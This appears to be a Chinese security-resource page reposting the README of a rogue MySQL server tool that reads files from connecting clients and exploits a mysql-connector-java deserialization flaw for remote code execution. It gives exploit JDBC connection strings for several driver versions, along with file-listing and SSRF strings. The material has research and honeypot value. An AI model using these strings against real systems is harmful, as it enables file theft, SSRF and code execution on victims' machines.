漏洞知识库
点击放大

English README
基于 实现的恶意 mysql 服务器, 支持利用漏洞从 go, php, python, java, 原生命令行等多种语言下的常见 mysql 库中读取文件.
远离恼人的兼容性问题, 测试过的客户端见下表
| language | library | pass |
|----------|--------------------------------|------|
| go | github.com/go-sql-dri | ✔️ |
| php | mysqli, pdo | ✔️ |
| python | pymysql | ✔️ |
| java | mysql-connector-java | ✔️ |
| native | 10.4.13-MariaDB | ✔️ |
觉得好用可以点右上方的 🌟 支持作者
* 可以兼容多种 mysql 客户端
* 可以读取二进制文件
* 自动保存文件
* 作为蜜罐使用时, 可选择开启帐号密码验证
* 读取客户端的 ConnAttr, 可能会包含一些客户端的额外信息
* 对于 mysql-connector-java, 在可控链接串的情况下可以利用反序列化漏洞进行 RCE
在当前目录下生成配置文件模版, 如果已有配置文件可以跳过这一步
运行服务器, 使用刚刚生成的 config.yaml
或者手动指定配置路径
示例:
在版本 >= 8.0.20, >= 5.1.49 中, 此漏洞已经被修复,
与 mysql-connector-java 反序列化漏洞利用相关的配置如下
jdbc_exploit 代表这个功能开启, 在检测到客户端是 mysql-connector-j 的情况下会自动利用. 利用和读取文件只能同时开启一项, 开启利用会导致无法读取客户端的文件. always_exploit 代表不检测客户端是否为 mysql-connector-java, 总是开启漏洞利用. ysoserial_command 生成反序列化 payload 的命令.
可以使用连接串中的 connectionAttributes 选项来指定需要使用的 payload, 这个选项可以指定任意连接属性. 服务器会读取连接属性中 t 的值来寻找对应的 payload. 如果未指定, 则默认使用提供的所有 payload 中的第一个.
例如, 如果使用上述的示例配置:
在 8.x 版本下要使用 cc7, 连接串为 jdbc:mysql://127.0.0.1:3306/test?connectionAttributes=t:cc7&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.Ser&user=root&password=password
另外需要注意只支持 com.mysql.cj.jdbc.interceptors.Ser 的利用方法, 可以参考下表:
| | jdbc connection string |
|----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 8.x | jdbc:mysql://127.0.0.1:3306/test?connectionAttributes=t:{payload_name}&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.Ser&user=root&password=password |
| 6.x | jdbc:mysql://127.0.0.1:3306/test?connectionAttributes=t:{payload_name}&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.Ser&user=root&password=password |
| >=5.1.11 | jdbc:mysql://127.0.0.1:3306/test?connectionAttributes=t:{payload_name}&autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.Ser&user=root&password=password |
另外如果需要读文件, mysql-connector-java 支持使用 file:// 列目录 (当然其他协议, 例如 http 来 SSRF 也是可以的), 但是需要在 allowLoadLocalInfile 为 true 之外, 额外指定 allowUrlInLocalInfile 为 true, 详情见这里
E.g.
* 列 / 目录, jdbc:mysql://127.0.0.1:3306/file%3A%2F%2F%2F?allowLoadLocalInfile=true&allowUrlInLocalInfile=true
* SSRF , jdbc:mysql://127.0.0.1:3306/http%3A%2F%2F127.0.0.1:25565?allowLoadLocalInfile=true&allowUrlInLocalInfile=true
mysql-connector-java 漏洞利用:
mysql 协议相关:
开发语言:Go
Star 数:773
该项目属于漏洞知识库方向的开源资源,代码结构清晰,适合安全研究人员学习参考。项目围绕A rouge mysql server supports reading files from most mysql libraries of multiple programming languages. 展开,提供了可运行的实现,对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。
从技术实现角度看,此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论,梳理项目的初始化流程、核心模块职责与数据流转,逐步掌握其中的技术细节与设计思路。
1. 下载源码压缩包,解压到本地环境。
2. 根据项目类型准备对应的运行环境与依赖。
3. 按照 README 中的步骤完成配置与部署。
4. 在隔离的测试环境中运行验证,避免影响生产系统。
本资源来源于开源社区,仅供安全研究、技术学习与合法授权范围内的攻防演练使用,请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。
| 资源标题 | rogue_mysql_server - A rouge mysql server supports reading files from m |
| 所属分类 | 漏洞知识库 |
| 发布作者 | admin |
| 发布时间 | 2026-10-06 01:06:35 |
| 下载权限 | 免费下载 |
| 附件数量 | 2 个下载链接 |
| 浏览次数 | 253 |
| 讨论数量 | 0 |
| 主题状态 | 正常讨论中 |